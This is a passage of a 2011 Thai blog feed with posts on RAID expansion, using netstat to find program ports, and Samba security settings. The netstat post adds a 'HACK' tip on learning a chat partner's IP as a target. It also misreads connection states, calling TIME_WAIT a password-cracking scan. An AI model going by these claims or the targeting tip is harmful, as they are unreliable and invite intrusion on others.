อีกส่วนหนึ่งคือ Hot Plug Drive,  Hot Swap Drive Bay   ซึ่งหมายถึงการเปลี่ยนฮาร์ดดิสก์โดยอไม่ต้องปิดสวิตช์คอมพิวเตอร์ก่อน   และเมื่อเปลี่ยนแล้วนอกจากสามารถใช้งานได้ทันทีแล้ว หากใช้ระบบ RAID  ก็สามารถ  "Rebuild" คือ สร้างระบบ RAID ในฮาร์ดดิสก์ก้อนใหม่ได้ทันที &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style78" align="center"&gt;&lt;span lang="th"&gt;การเพิ่มขนาดของ Logical Volume &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;ขนาด ของ Logical Drive นั้น  ขึ้นกับความจุและจำนวนของฮาร์ดดิสก์ที่นำมาเพิ่มในระบบ RAID โดยปกติระบบ  RAID จะระบุไว้ว่า กรณีใช้ฮาร์ดแวร์ในการควบคุม  ฮาร์ดดิสก์ทั้งหมดที่นำมาเพิ่มในระบบจะต้องมีความจุเท่ากัน การเพิ่มขนาดของ  Logical Drive ทำได้โดยการเพิ่มฮาร์ดดิสก์ SCSI เข้าไปในระบบ&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;  &lt;/span&gt;&lt;span lang="th"&gt;ถ้า เป็นระบบ RAID เก่าๆ การเพิ่มขนาดของ Logical Drive   ทำได้โดยการสำรองข้อมูลทั้งหมด หลังจากนั้นปิดระบบ (ปิดเฉพาะระบบที่ใช้  RAID) ติดตั้งฮาร์ดดิสก์เพิ่มเติมเข้าไปในระบบ และ Config RAID  หรือการสร้าง RAID  ขึ้นใหม่ วิธีการนี้มีข้อด้อยคือ  ใช้เวลาในการดำเนินใหม่      และต้องการผู้เชี่ยวชาญ เพราะในระบบเครือข่าย  ถ้าหากต้องมีการ    "ติดตั้งระบบใหม่" นั้นหมายถึง การ Config  ระบบใหม่ทั้งหมด&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;แต่ ระบบคอมพิวเตอร์ที่ใช้ RAID ใหม่ๆ นั้น ใช้หลักการของ Dynamic System   Expansion การขยายขนาดของระบบโดยวิธีการง่ายกว่าเดิม  โดยวิธีนี้ต้องใช้กับระบบ RAID ที่เป็น RAID Hardware Controller เท่านั้น  โดยเมื่อเพิ่มฮาร์ดดิสก์เข้าไปในระบบ (จะเป็น Hot Plug หรือ Non Hot-Plug)  ก็ได้ หลังจากนั้นใช้ฟังก์ชันในการตรวจจับ (SCSI Harddisk SCAN)  เพื่อตรวจสอบว่ามีฮาร์ดดิสก์ใหม่ถูกติดตั้งเข้าไปในอะเรย์       หลังจากนั้นก็ใช้ฟังก์ชันในการเพิ่มขนาด Logical Volume โดยการ Assign   ฮาร์ดดิสก์ใหม่เข้ากับระบบอะเรย์ เพียงไม่กี่นาทีก็เพิ่มขนาดของ Logical   Volume ได้&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style78" align="center"&gt;&lt;span lang="th"&gt;การจัดการและตรวจสอบโดย RAID Controller &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;ฮาร์ดแวร์  RAID Controller ที่ผลิตโดยผู้ผลิตหลายๆ รายๆ  มีกลวิธีในการตรวจสอบระบบ  DISK Array  โดยเริ่มจากการตรวจสอบตัวคอนโทรลเลอร์เอง  ไปจนถึงการตรวจสอบฮาร์ดดิสก์ที่เป็นสมาชิกอะเรย์ ได้แก่การตรวจสอบ disk /  PSU  / Power / Over-Temp แล้วแสดงค่าความผิดพลาด  พร้อมทั้งแจ้งเตือนกรณีที่ความผิดพลาดนั้น ถือเป็นความผิดพลาดระดับวิกฤติ&lt;/span&gt;&lt;/p&gt;                      &lt;/td&gt;                     &lt;/tr&gt;                   &lt;tr&gt;                     &lt;td align="left" valign="top"&gt; &lt;/td&gt;                   &lt;/tr&gt;                   &lt;tr&gt;                     &lt;td align="left" valign="top"&gt;&lt;div align="center"&gt;&lt;span class="style80"&gt;ขอขอบคุณบทความจาก http://www.msit.mut.ac.th&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-2367901017872499904?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/2367901017872499904/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=2367901017872499904&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/2367901017872499904'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/2367901017872499904'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/04/raid.html' title='RAID'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-2126941763197523750</id><published>2011-04-18T02:31:00.001-07:00</published><updated>2011-04-18T02:31:37.994-07:00</updated><title type='text'>netstat</title><content type='html'>&lt;span class="style75"&gt;วิธีหา port โปรแกรมต่างๆ ด้วย Netstat&lt;/span&gt;                                                          &lt;br /&gt;                      &lt;div id="node-4524"&gt;                         &lt;div class="style97"&gt;                           &lt;p&gt;ถามกันบ่อยมากเกี่ยวกับ port นั้น คืออะไร  port นี้คืออะไร อยากจะ   block โปรแกรมนั้น block ไง mms เว็บนั้น port  ไหน ขออธิบายรวบยอดไปใน FAQ อันนี้เลยแล้วกันนะครับ &lt;/p&gt;                           &lt;p&gt;&lt;strong&gt;ระบบที่ใช้ในประกอบการทำFAQ   นี้&lt;/strong&gt;&lt;/p&gt;                           &lt;p&gt;Win Xp ที่เป็นเครื่องลูกข่าย Linux SIS&lt;/p&gt;                           &lt;p&gt;Linux SIS เปิด share net อย่างเดียว (ฉะนั้น ระบบจะยังคง block   ทุกอย่าง เปิดแต่เว็บให้ใช้งานได้)&lt;br /&gt;                           &lt;br /&gt;                            &lt;strong&gt;สถานการณ์&lt;/strong&gt;&lt;/p&gt;                           &lt;p&gt;ถ้าอยากรู้ว่า port ของ streaming ของ mcot.net&lt;/p&gt;                           &lt;p align="center"&gt;&lt;img src="http://www.ensthai.com/tip_trick/netstat/image001.png" height="331" width="668" /&gt;&lt;/p&gt;                           &lt;p align="left"&gt;จากการใช้คำสั่งจาก &lt;strong&gt;DOS Prompt&lt;/strong&gt; ในรูปข้างบน เป็นการเรียกดูวิธีการใช้ของโปรแกรม &lt;strong&gt;netstat&lt;/strong&gt; โดยการใส่เครื่องหมาย &lt;strong&gt;/?&lt;/strong&gt; ต่อท้ายคำสั่งนั้น สามารถใช้ได้กับโปรแกรมอย่างอื่นในดอสได้ด้วย) เพื่อขอดูการใช้งาน ผมจะอธิบายที่ละบรรทัดอย่างคร่าวๆ&lt;br /&gt;                           &lt;br /&gt;และการใช้คำสั่งนี้ ไม่ว่าจะเป็น Opiton หรือใดๆก็ตาม   จะไม่เป็นอันตรายต่อเครื่อง รวมทั้งระบบ Network ซึ่งในการใช้   สามารถใช้ได้ในขณะที่ต่อ Internet หรือไม่ก็ตาม&lt;/p&gt;                           &lt;table align="center" border="1" cellpadding="1" cellspacing="1" width="624"&gt;                             &lt;tbody&gt;&lt;tr&gt;                               &lt;td width="560"&gt;&lt;strong&gt;-a&lt;span lang="en-us"&gt;  &lt;/span&gt; Displays all connections and listening ports.&lt;/strong&gt;&lt;br /&gt;                                 &lt;br /&gt;                                Opiton นี้จะเป็นการดูการเชื่อมต่อ Port  ทั้งหมดที่  (เครื่องนั้นๆ=เครื่องคุณ)  ที่ใช้คำสั่งนี้ได้เปิดรอการเข้ามาติดต่อ   แต่ผลที่แสดงจะเป็นรายชื่อ  Service ที่ติดต่อกับเครื่อง  (เครื่องนั้นๆ=เครื่องคุณ)   เช่นชื่อเว็บไซด์หรือชื่อเครื่อง   ไม่แสดงเป็นตัวเลข IP&lt;br /&gt;                             &lt;/td&gt;                             &lt;/tr&gt;                             &lt;tr&gt;                               &lt;td&gt;&lt;strong&gt;-e &lt;span lang="en-us"&gt;  &lt;/span&gt; Displays Ethernet statistics. This may be combined with the -s option.&lt;/strong&gt;&lt;br /&gt;                                 &lt;br /&gt;                                Opiton นี้จะเป็นการดูเหมือนกับสถิติต่างๆในการรับ/ส่งข้อมูลต่างๆ  ต้องใช้ร่วมกับ &lt;strong&gt;Opiton -s  &lt;/strong&gt; เป็นการดูสถานะการรับส่งข้อมูลต่างๆ  ซึ่งลองใช้ดูได้&lt;br /&gt;                             &lt;/td&gt;                             &lt;/tr&gt;                             &lt;tr&gt;                               &lt;td&gt;&lt;strong&gt;-n &lt;span lang="en-us"&gt;  &lt;/span&gt; Displays addresses and port numbers in numerical form.&lt;/strong&gt;&lt;br /&gt;                                 &lt;br /&gt;                                Opiton นี้จะเหมือนกับ &lt;strong&gt;-a&lt;/strong&gt;  แต่การแสดงผลจะเป็นเลข IP กับ Port แทนชื่อเครื่องหรือชื่อเว็บไซด์ต่างๆที่ได้มีการติดต่อหรือเชื่อมการติดต่อ&lt;br /&gt;                             &lt;/td&gt;                             &lt;/tr&gt;                           &lt;/tbody&gt;&lt;/table&gt;                           &lt;p&gt;&lt;strong&gt;ขั้นตอน&lt;/strong&gt; &lt;/p&gt;                           &lt;p&gt;1. คลิ๊ก Start Menu (มุมซ้ายล่างหน้าจอครับ)&lt;br /&gt;                            2. เลือกคำสั่ง Run... (มุมขวาใกล้ๆ Turn Off Computer)&lt;br /&gt;                            3. พิมพ์ cmd ลงไปจากนั้นกด Enter&lt;br /&gt;                            4.                              พิมพ์คำสั่ง netstat -an&lt;/p&gt;                           &lt;p align="center"&gt;&lt;img src="http://www.ensthai.com/tip_trick/netstat/1n.jpg" height="368" width="640" /&gt; &lt;/p&gt;                           &lt;p&gt;ผลที่ได้ จะออกมา ดังรูป &lt;/p&gt;                           &lt;p&gt;เนื่องจาก เครื่องที่ใช้ ทดสอบ เป็นเครื่อง ที่อยู่หลัง Linux SIS   ซึ่ง โดย default sis จะ block ทุกอย่าง&lt;/p&gt;                           &lt;p&gt;&lt;span class="style98"&gt;ตรง เลข 1 &lt;/span&gt;คือโปรแกรม Office Scan   ซึ่งมันจะ เปิด port 9100 เพื่อ connect ไปที่ server officescan&lt;/p&gt;                           &lt;p&gt;&lt;span class="style98"&gt;ตรง เลข 2&lt;/span&gt; คือ  IP:PORT ของ server ของ   office scan คำย่อ SYN_SENT หมายความว่า    ข้อมูลไดๆก็ตามที่ ส่งออก ณ จุดนี้ ถูก block   อยู่ไม่สามารถส่งออกได้&lt;/p&gt;                           &lt;p&gt;จากนั้น ทำการเปิดเว็บ &lt;a title="http://www.mcot.net" href="http://www.mcot.net/"&gt;http://www.mcot.net&lt;/a&gt; แล้วสั่ง netstat -an อีกรอบเพื่อ check   การต่อเชื่อในเครื่องอีกรอบ&lt;/p&gt;                           &lt;p align="center"&gt;&lt;img src="http://www.ensthai.com/tip_trick/netstat/2n.jpg" height="632" width="640" /&gt; &lt;/p&gt;                           &lt;p&gt;IP ที่อยู่ในกลุ่มหมายเลข 2 คือ IP    ที่เครื่องนั้นต่อเชื่อหลังจาก เปิด http://www.mcot.net จากนั้นทำการ  click เปิดหน้าต่าง ของ Live News   เพื่อให้เครื่องเชื่อมต่อ mms  สลับหน้าต่างไปที่หน้าต่าง cmd แล้วพิมพ์คำสั่ง netstat -an อีกรอบเพื่อ  check connection &lt;/p&gt;                           &lt;p align="center"&gt;&lt;img src="http://www.ensthai.com/tip_trick/netstat/3n.jpg" height="443" width="640" /&gt; &lt;/p&gt;                           &lt;p&gt;จากรูป server MMS ของ mcot ก็คือ    202.142.200.131 โดย connect ไปที่ port 1755   ซึ่งใน ภาพ  จะไม่สามารถเปิดได้เพราะ SIS ยัง block connection นั้นอยู่ (SYN_SENT)&lt;/p&gt;                           &lt;p&gt;จากตรงนี้ สามารถนำไปประยุกหา port ของโปรแกรมอื่นๆได้ โดย   ทำตามวิธีด้านบน&lt;/p&gt;                           &lt;hr /&gt;                           &lt;p&gt;&lt;strong&gt;เพิ่มเติม&lt;/strong&gt;&lt;/p&gt;                           &lt;p align="center"&gt;&lt;img src="http://www.ensthai.com/tip_trick/netstat/image007.png" height="559" width="668" /&gt;&lt;/p&gt;                           &lt;p align="left"&gt;1. &lt;strong&gt;Proto &lt;span lang="en-us"&gt;  &lt;/span&gt;TCP&lt;/strong&gt; -- คือโปรโตคอลที่เครื่องกำลังเชื่อมต่ออยู่&lt;br /&gt;                             &lt;br /&gt;2. &lt;strong&gt;Local Address &lt;span lang="en-us"&gt;  &lt;/span&gt; qillip:telnet&lt;/strong&gt; &lt;span lang="en-us"&gt; -- &lt;/span&gt;[ชื่อ   เครื่อง qillip] : [telnet Service (port ที่เครื่องได้เปิด)]    ซึ่งตอนนี้เป็นหรือบริการที่เปิด และเราจะรู้ได้ตรงนี้เอง เช่นพวกโทรจัน   Trojan หรือโปรแกรมบางโปรแกรมมักจะเปิด Service หรือบริการที่เปิดรอ   เพื่อจะเข้ามาควบคุมเครื่องหรือมีการแชร์เครื่อง   เพื่อใช้ในการถ่ายโอนข้อมูลระหว่างเครื่องในระบบ Network&lt;br /&gt;&lt;br /&gt;3. &lt;strong&gt;Foreign Address &lt;span lang="en-us"&gt;  &lt;/span&gt;qillip:0&lt;/strong&gt; -- ชื่อเครื่อง [qillip] : [เครื่องที่เชื่อมต่อกับเครื่องที่คุณได้ใช้อยู่] ที่เป็นเลข 0 เพราะว่าผมยังไม่ได้ต่อเน็ต&lt;br /&gt;&lt;br /&gt;4. &lt;strong&gt;State &lt;span lang="en-us"&gt;  &lt;/span&gt;LISTENING&lt;/strong&gt; -- สถานะการติดต่อ ซึ่งจะมีอยู่หลายแบบคือ ตรงนี้ขอข้ามไปก่อนครับว่าหมายถึงอะไร&lt;/p&gt;                           &lt;p align="center"&gt;&lt;img src="http://www.ensthai.com/tip_trick/netstat/image007.png" height="559" width="668" /&gt;&lt;/p&gt;                           &lt;p align="left"&gt;&lt;span class="style101"&gt;&lt;strong&gt;สีเหลือง&lt;/strong&gt; เป็นสถานะ &lt;strong&gt; ESTABLISHED&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;                              &lt;strong&gt;Local Address&lt;/strong&gt; ซึ่ง IP ผมคือ 203.118.74.149 ได้เปิด port 135 เอาไว้และเข้ามาที่เครื่องทาง port นี้&lt;br /&gt;                              &lt;strong&gt;Foreign Address&lt;/strong&gt; เป็น IP ของเครื่องที่มา hack เครื่องผมคือ 203.118.82.158&lt;br /&gt;                              &lt;strong&gt;State&lt;/strong&gt; เป็นสถานะ &lt;strong&gt;ESTABLISHED&lt;/strong&gt;  หมายความว่า เป็นการเชื่อมต่อระหว่างเครื่อง 2 เครื่องได้แล้ว พูดอีกแบบคือ มีเครื่องอื่นได้เข้ามาในเครื่องผมแล้ว&lt;br /&gt;                             &lt;br /&gt;                              &lt;span class="style102"&gt;&lt;strong&gt;สีฟ้า&lt;/strong&gt; เป็นสถานะ &lt;strong&gt;LISTENING&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;                              &lt;strong&gt;Local Address&lt;/strong&gt; ซึ่ง IP ผมคือ 203.118.74.149 ได้เปิด port 139&lt;br /&gt;                              &lt;strong&gt;Foreign Address&lt;/strong&gt; ยังไม่มีเครื่องใดมาทำการติดต่อ&lt;br /&gt;                            &lt;strong&gt;State&lt;/strong&gt; เป็นสถานะ &lt;strong&gt;LISTENING&lt;/strong&gt;  คือรอการติดต่อ ซึ่งเครื่องอื่นสามารถเข้าได้ทางนี้&lt;/p&gt;                           &lt;p&gt;&lt;span class="style104"&gt;สีม่วง เป็นสถานะ TIME_WAIT&lt;/span&gt;&lt;br /&gt;                                                          &lt;strong&gt;Local Address&lt;/strong&gt; ซึ่ง IP ผมคือ 203.118.74.149 ได้เปิด port 139&lt;br /&gt;                              &lt;strong&gt;Foreign Address&lt;/strong&gt; เครื่องที่มี IP 203.118.74.110 ได้กำลังแสกนเครื่องผมอยู่  เพื่อหาช่องโหว่&lt;br /&gt;                            &lt;strong&gt;State&lt;/strong&gt; เป็นสถานะ &lt;strong&gt;TIME_WAIT&lt;/strong&gt; คือเค้ากำลังแสกนเครื่องผมโดยผ่าน port 139  กำลังแสกน หรืออีกความหมายคือ เครื่องนั้นอาจกำลังถอด password เครื่องคุณอยู่ก็ได้&lt;/p&gt;                           &lt;span class="style108"&gt;SYN_SENT &lt;/span&gt;หมายความว่า   ข้อมูลไดๆก็ตามที่ ส่งออก ณ จุดนี้ ถูก block   อยู่ไม่สามารถส่งออกได้&lt;br /&gt;                             &lt;br /&gt;                              &lt;span class="style107"&gt;** ให้สังเกตเครื่องคุณ ถ้าได้มีตัวนี้อยู่บรรทัดไหน ให้สังเกตที่บรรทัดเดียวกันว่า เครื่องคุณได้เปิด Port ไหนเอาไว้บ้าง **&lt;/span&gt;&lt;br /&gt;                             &lt;br /&gt;                              &lt;strong&gt;TIP&lt;span lang="en-us"&gt; :&lt;/span&gt;&lt;/strong&gt;    ซึ่งตอนนี้คุณคงอ่าน   และคงสามารถที่จะเดาได้ว่าแต่ละบรรทัดที่โปรแกรมแสดงหมายความว่าอะไรบ้าง   แต่ถ้าใช้ Option ดังรูปข้างบน (ต่อ Internet) ให้พิมพ์คำสั่ง &lt;strong&gt;netstat -a&lt;/strong&gt;  เพื่อจะแสดงเป็นชื่อ ซึ่งบางทีในสถานะ &lt;strong&gt;ESTABLISHED&lt;/strong&gt; หมายความว่า มีเครื่องอื่นได้เข้ามาในเครื่องผมแล้วนั้น อาจเป็นเว็บไซด์ที่คุณกำลังดาว์นโหลดอยู่ก็ได้ คำสั่ง &lt;strong&gt;netstat -a&lt;/strong&gt; จะแสดงเป็นชื่อเว็บต่างๆ ซึ่งถ้าใช้คำสั่ง &lt;strong&gt;netstat -an&lt;/strong&gt; จะแสดงเป็นตัวเลข &lt;strong&gt;IP&lt;/strong&gt; ยากต่อการเดา และการดูจริงๆคุณต้องสังเกตที่ port ที่เครื่องคุณด้วยว่าเป็น port ที่ใช้ทำอะไร&lt;br /&gt;                             &lt;br /&gt;                             &lt;br /&gt;                              &lt;strong&gt;HACK &lt;span lang="en-us"&gt;:&lt;/span&gt;&lt;/strong&gt;  ถ้าคุณกำลัง chat อยู่ ไม่ว่าจะเป็น icq , msn , yahoo ect.. ก็ตาม และได้มีการรับ/ส่งไฟล์ระหว่างเครื่องเกิดขึ้น ให้พิมพ์คำสั่ง &lt;strong&gt;netstat -an&lt;/strong&gt; หรือ &lt;strong&gt; netstat -a&lt;/strong&gt; หรือ &lt;strong&gt;netstat -n&lt;/strong&gt;  ก็ได้ โปรแกรมนี้จะมีการแสดงเลข IP ต่างๆที่คุณได้ติดต่ออยู่ และคุณรู้ IP   เครื่องเป้าหมายแล้ว อิอิ ถ้ามีความรู้ในเรื่องอื่น ก็นำมาใช้ได้เลย&lt;br /&gt;                             &lt;br /&gt;   นี่คือการทำงานโดยใช้ดอสแบบทั่วไป ให้คุณลองดูว่าเครื่องคุณได้เปิด Port   อะไรไว้บ้าง ถ้ามีการเปิดที่เยอะมาก คุณต้องรู้ว่าแต่ละ Port   ไหนโปรแกรมอะไรเป็นตัวเปิด โดยทำการค้นหาได้จากโปรแกรมที่คุณใช้ได้ถนัด   ซึ่งแล้วแต่คนจะถนัดทางไหน และหัวข้อต่อไป ผมจะอธิบายการใช้โปรแกรมอีกตัว   ซึ่งใช้ได้ดีมากสำหรับการหาโปรแกรมตัวแสบ ที่แอบมาเปิด port    และยังสามารถใช้งานได้อีกหลายอย่าง แทนโปรแกรม NETSTAT ได้ดีอีกด้วย   แถมยังมีโปรแกรมให้ HACK เครื่องแถมมาด้วย                                                       &lt;p align="right"&gt;&lt;strong&gt;Credit &lt;/strong&gt;www.opentle.org &amp;amp; www.justusers.net&lt;/p&gt;                         &lt;/div&gt;                       &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-2126941763197523750?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/2126941763197523750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=2126941763197523750&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/2126941763197523750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/2126941763197523750'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/04/netstat.html' title='netstat'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-8312424758302138520</id><published>2011-04-18T02:30:00.001-07:00</published><updated>2011-04-18T02:30:18.047-07:00</updated><title type='text'>SAMBA</title><content type='html'>&lt;span class="style76"&gt;Samba Security&lt;/span&gt;&lt;span class="style73"&gt;&lt;strong&gt;&lt;br /&gt;                       &lt;br /&gt;                    &lt;/strong&gt;&lt;br /&gt;                    &lt;/span&gt;                       &lt;p class="style84"&gt;Samba  เป็นซอฟต์แวร์ที่ช่วยให้สามารถแชร์ไฟล์และเครื่องพิมพ์บนลินุกซ์ให้กับระบบ ปฏิบัติการวินโดวส์   95, 98, 2000, NT รวมทั้ง smbclient อื่น เช่น linux,  unix อื่นๆ ได้ การทำงานของ   Samba ประกอบไปด้วยส่วนประกอบหลักๆ ดังนี้ &lt;/p&gt;                     &lt;ul class="style73"&gt;&lt;li class="style91"&gt;&lt;strong&gt;smbd&lt;/strong&gt; เป็น  daemon ที่ช่วยในการแชร์ไฟล์และเครื่องพิมพ์ให้กับ       smbclient ต่างๆ  โดยมีไฟล์ configuration ที่สำคัญคือ /etc/samba/smb.conf        ซึ่งทำหน้าที่ควบคุมการทำงานของ Smbd &lt;/li&gt;&lt;li class="style91"&gt;&lt;strong&gt;nmbd&lt;/strong&gt;  รับผิดชอบกระบวนการที่เกี่ยวข้องกับ       name resolution และ browsing  service ซึ่งเกี่ยวข้องกับ NetBIOS name (รายละเอียดเกี่ยวกับ        NetBIOS สามารถอ่านได้ที่ &lt;a href="http://thaicert.nectec.or.th/paper/basic/netbios.php"&gt;http://thaicert.nectec.or.th/paper/basic/netbios.php&lt;/a&gt;)&lt;/li&gt;&lt;li class="style91"&gt;&lt;strong&gt;smbclient&lt;/strong&gt;  เป็นโปรแกรมที่ทำหน้าที่เชื่อมต่อไปยัง       Samba server หรือ Microsoft  Windows ที่ได้แชร์ไฟล์ไว้ โดยจะมีลักษณะการใช้งานเหมือนกับคำสั่ง        ftp ทั่วไป (interactive program)&lt;/li&gt;&lt;li class="style91"&gt;&lt;strong&gt;smbmount&lt;/strong&gt; ใช้สำหรับ mount ไปยัง shared       directory &lt;/li&gt;&lt;li class="style91"&gt;&lt;strong&gt;testparm&lt;/strong&gt; เป็นโปรแกรมที่ใช้ตรวจสอบ configuration       จากไฟล์ /etc/samba/smb.conf ว่าถูกต้องหรือไม่&lt;/li&gt;&lt;li class="style91"&gt;&lt;strong&gt;smbstatus&lt;/strong&gt; ใช้สำหรับแสดง status ของ Smbd       Server &lt;/li&gt;&lt;/ul&gt;                     &lt;p class="style73" align="center"&gt;&lt;img src="http://www.ensthai.com/tip_trick/samba/Samba-Schema.gif" height="300" width="450" /&gt;&lt;/p&gt;                     &lt;p class="style84" align="center"&gt;รูปที่ 1 แสดงรูปแบบทั่วไปในการใช้งาน Samba server&lt;/p&gt;                     &lt;p class="style84"&gt;โดยทั่วไปไฟล์ configuration ของ  samba จะถูกเก็บไว้ที่ /etc/samba/smb.conf      ไฟล์นี้จะเป็นตัวควบคุมการทำงานทั้งหมดของ samba ดังนั้นการแก้ไขใดๆ  จึงควรกระทำด้วยความระมัดระวัง      เพราะหากเกิดความผิดพลาดอาจจะทำให้เกิดการรั่วไหลของข้อมูลได้ เช่น  การอนุญาตให้ผู้ใช้สามารถเข้าใช้งานได้โดยไม่ต้องใส่     username และ  password&lt;/p&gt;                     &lt;p class="style84"&gt;การแก้ไข configuration ของ samba  นั้นสามารถทำได้ 2 วิธีคือ แก้ไขไฟล์โดยตรงที่     /etc/samba/smb.conf  หรือติดตั้ง SWAT ซึ่งจะช่วยให้สามารถแก้ไข     configuration  ผ่านทางเว็บได้ (default port = 901/tcp) ซึ่งหากมีการใช้งาน SWAT      ควรจำกัดการเข้าถึงเฉพาะผู้ดูแลระบบเท่านั้น เช่น  ควบคุมให้เข้าถึงได้เฉพาะจากไอพีที่ระบุไว้     หรือยกเลิกการใช้งาน SWAT  เมื่อเสร็จสิ้นการแก้ไข configuration &lt;/p&gt;                     &lt;p class="style84"&gt;&lt;strong&gt;หมายเหตุ:&lt;/strong&gt; &lt;/p&gt;                     &lt;ul class="style84"&gt;&lt;li&gt;การแก้ไข configuration  จะยังไม่มีผลต่อการทำงานของ samba ในทันที  ผู้ดูแลระบบจะต้องเริ่มการทำงานของ       samba ใหม่เท่านั้น โดยใช้คำสั่ง  /etc/rc.d/init.d/smb       restart หรืออาจจะใช้คำสั่ง kill -SIGHUP        pid (pid = process number ของ smb)&lt;/li&gt;&lt;li&gt;การแก้ไข configuration ในส่วนของ global จะมีผลต่อทุกๆ ส่วน (หรือทุกๆ แชร์) &lt;/li&gt;&lt;/ul&gt;                     &lt;p class="style84"&gt;configuration ของ Samba  นั้นมีรายละเอียดค่อนข้างมาก  เอกสารฉบับนี้จะนำเสนอออปชันในส่วนที่เกี่ยวข้องกับความปลอดภัยเท่านั้น      ซึ่งมีรายละเอียดดังต่อไปนี้&lt;/p&gt;                     &lt;p class="style84"&gt;&lt;strong&gt;1. Authentication Security&lt;/strong&gt;&lt;br /&gt;                      เมื่อ Samba  แชร์ไฟล์หรือเครื่องพิมพ์ให้แก่ผู้ใช้และไม่อนุญาตให้ guest เข้ามาใช้งาน      ผู้ใช้จะต้องทำการยืนยันตัวตนกับ Samba ซึ่ง Samba  มีวิธีในการเลือกการยืนยันตัวตนผ่านทางออปชัน     security  ซึ่งสามารถเลือกได้ 4 แบบดังนี้&lt;/p&gt;                     &lt;ul class="style84"&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;security = share :&lt;/strong&gt; samba  จะแจ้งแก่ client ให้ส่งค่ารหัสผ่านอย่างเดียวเท่านั้น   ดังนั้นหากผู้ใช้ทราบรหัสผ่านของผู้ใช้คนใดคนหนึ่งก็ตามก็สามารถเข้าใช้งาน   ในระบบได้&lt;/li&gt;&lt;li&gt;&lt;strong&gt;security = user : &lt;/strong&gt;samba          จะแจ้งแก่ client ให้ส่งค่า username  และรหัสผ่านมาเพื่อทำการตรวจสอบตัวตนผู้ใช้          ซึ่งในกรณีนี้จะเหมาะสำหรับผู้ที่ใช้ระบบปฏิบัติการวินโดวส์ NT/2000 เป็น  client         และใช้ username และรหัสผ่านเป็นชุดเดียวกันกับที่ Samba  server&lt;/li&gt;&lt;li&gt;&lt;strong&gt;security = server :&lt;/strong&gt;  มีรูปแบบการทำงานคล้ายกับแบบ         user เพียงแต่ Samba server จะใช้ SMB  server อื่นเป็นตัวทำหน้าที่ตรวจสอบ         username และรหัสผ่านแทน&lt;br /&gt;                        &lt;/li&gt;&lt;li&gt;&lt;strong&gt;security = domain&lt;/strong&gt; : Samba  สามารถเป็นสมาชิกของ Windows Domain ได้  ดังนั้นเมื่อผู้ใช้ทำการยืนยันตัวตนกับ         primary domain controller  (PDC) แล้ว ก็จะสามารถเข้าใช้งานแชร์ที่อยู่บน Samba         server ได้  (เป็นคุณสมบัติอย่างหนึ่งของระบบโดเมน)&lt;/li&gt;&lt;/ol&gt;&lt;/ul&gt;                     &lt;p class="style84"&gt;&lt;strong&gt;หมายเหตุ:&lt;/strong&gt;  หากมีการระบุออปชั่น Public = yes     หรือ Guest ok = yes ใน  /etc/samba/smbd.conf     แล้ว และไม่ว่าจะระบุ security เป็นออปชันใด      Samba ก็จะไม่ทำการตรวจสอบรหัสผ่านที่ส่งมาจากไคลเอ็นต์ (client)  แต่อย่างใด&lt;/p&gt;                     &lt;p class="style84"&gt;&lt;strong&gt;2. Passwords&lt;br /&gt;                    &lt;/strong&gt;การที่ผู้ใช้จะสามารถเข้าถึงไดเรกทอรีหรือ   เครื่องพิมพ์ที่แชร์ไว้ได้นั้น ผู้ใช้จะต้องมี unix account   บนเครื่องเซิร์ฟเวอร์ที่ให้บริการ Samba เสียก่อน โดยปกติ Samba   สนับสนุนการตรวจสอบตัวตนผู้ใช้ทั้งในแบบที่มีการเข้ารหัส (Encrypted)   และไม่มีการเข้ารหัส (Non-encrypted) โดยการตั้งค่า &lt;/p&gt;                     &lt;blockquote class="style84"&gt;                       &lt;p&gt;encrypt passwords = [yes|no] &lt;/p&gt;                     &lt;/blockquote&gt;                     &lt;p class="style84"&gt;โดยหากมีค่าเป็น no ตัว Samba  จะทำการตรวจสอบรหัสผ่าน(และ username) จากไฟล์     /etc/passwd  แต่หากมีค่าเป็น yes ตัว Samba 